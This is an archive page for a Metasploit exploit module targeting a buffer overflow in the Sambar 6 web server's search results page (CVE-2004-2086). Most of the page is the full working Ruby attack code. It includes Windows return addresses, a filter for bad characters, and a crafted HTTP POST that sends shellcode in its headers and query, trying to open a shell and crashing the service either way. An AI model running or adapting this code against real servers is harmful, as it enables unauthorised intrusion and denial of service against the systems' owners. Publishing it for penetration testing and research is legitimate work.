what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Sambar 6 Search Results Buffer Overflow

Sambar 6 Search Results Buffer Overflow
Posted Feb 15, 2010
Authored by H D Moore, patrick, Andrew Griffiths | Site metasploit.com

This Metasploit module exploits a buffer overflow found in the /search/results.stm application that comes with Sambar 6. This code is a direct port of Andrew Griffiths's SMUDGE exploit, the only changes made were to the nops and payload. This exploit causes the service to die, whether you provided the correct target or not.

tags | exploit, overflow
advisories | CVE-2004-2086
SHA-256 | 43d90184c1c0d9d0e9d3c5ac475582ad68fe7328316423ce9e487d6c5499f98b

Sambar 6 Search Results Buffer Overflow

Change Mirror Download
##
# $Id: sambar6_search_results.rb 8480 2010-02-13 20:15:19Z patrickw $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# https://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})
super(update_info(info,
'Name' => 'Sambar 6 Search Results Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow found in the
/search/results.stm application that comes with Sambar 6.
This code is a direct port of Andrew Griffiths's SMUDGE
exploit, the only changes made were to the nops and payload.
This exploit causes the service to die, whether you provided
the correct target or not.
},
'Author' => [
'hdm',
'Andrew Griffiths <andrewg [at] felinemenace.org>',
'patrick', # msf3 port
],
'Arch' => [ ARCH_X86 ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 8480 $',
'References' =>
[
[ 'CVE', '2004-2086' ],
[ 'OSVDB', '5786' ],
[ 'BID', '9607' ],
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 2000, # unlimited
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
},
'Platform' => ['win'],
'Targets' =>
[
# patrick tested OK 20100214 xpsp0
['Windows 2000', { 'jmpESP' => 0x74fdee63, 'Ret' => 0x773368f4 } ],
['Windows XP', { 'jmpESP' => 0x77da78ff, 'Ret' => 0x77e631ea } ], # user32.dll jmp esp; kernel32.dll retn

],
'DisclosureDate' => 'Jun 21 2003'))

register_options(
[
Opt::RPORT(80),
],self.class)
end

def check
connect
sock.put("GET / HTTP/1.0\r\n\r\n")
banner = sock.get_once
disconnect

if (banner =~ /Server:\sSAMBAR/)
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end

def exploit
connect

buff = "POST /search/results.stm HTTP/1.1\r\n"
buff << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
buff << "User-Agent: #{payload.encoded}\r\n"
buff << "Accept: #{payload.encoded}\r\n"
buff << "Accept-Encoding: #{payload.encoded}\r\n"
buff << "Accept-Language: #{payload.encoded}\r\n"
buff << "Accept-Ranges: #{payload.encoded}\r\n"
buff << "Referrer: #{payload.encoded}\r\n"
buff << "Connection: Keep-Alive\r\n"
buff <<"Pragma: no-cache\r\n"
buff << "Content-Type: #{payload.encoded}\r\n"

# we use \xfc (cld) as nop, this code goes through tolower() and must be 0xc0->0xff
# int3's DO NOT WORK because it triggers an exception and causes the server to exit
jmpcode = "\xfc" + "h" + [target['Ret']].pack('V') + "\xfc\xfc\xfc" + "\xc2\x34\xd1"
bigbuff = jmpcode + ("X" * (128 - jmpcode.length)) + [target['jmpESP']].pack('V') +[target['jmpESP']].pack('V') + jmpcode
content = "style=page&spage=0&indexname=docs&query=#{bigbuff}"
buff << "Content-Length: #{content.length}\r\n\r\n" + content

print_status("Sending #{buff.length} bytes to remote host.")
sock.put(buff)
res = sock.get_once
if (!res)
print_status("Didn't get response, hoping for shell anyway...")
else
print_status("Got Response!")
end

handler
disconnect
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close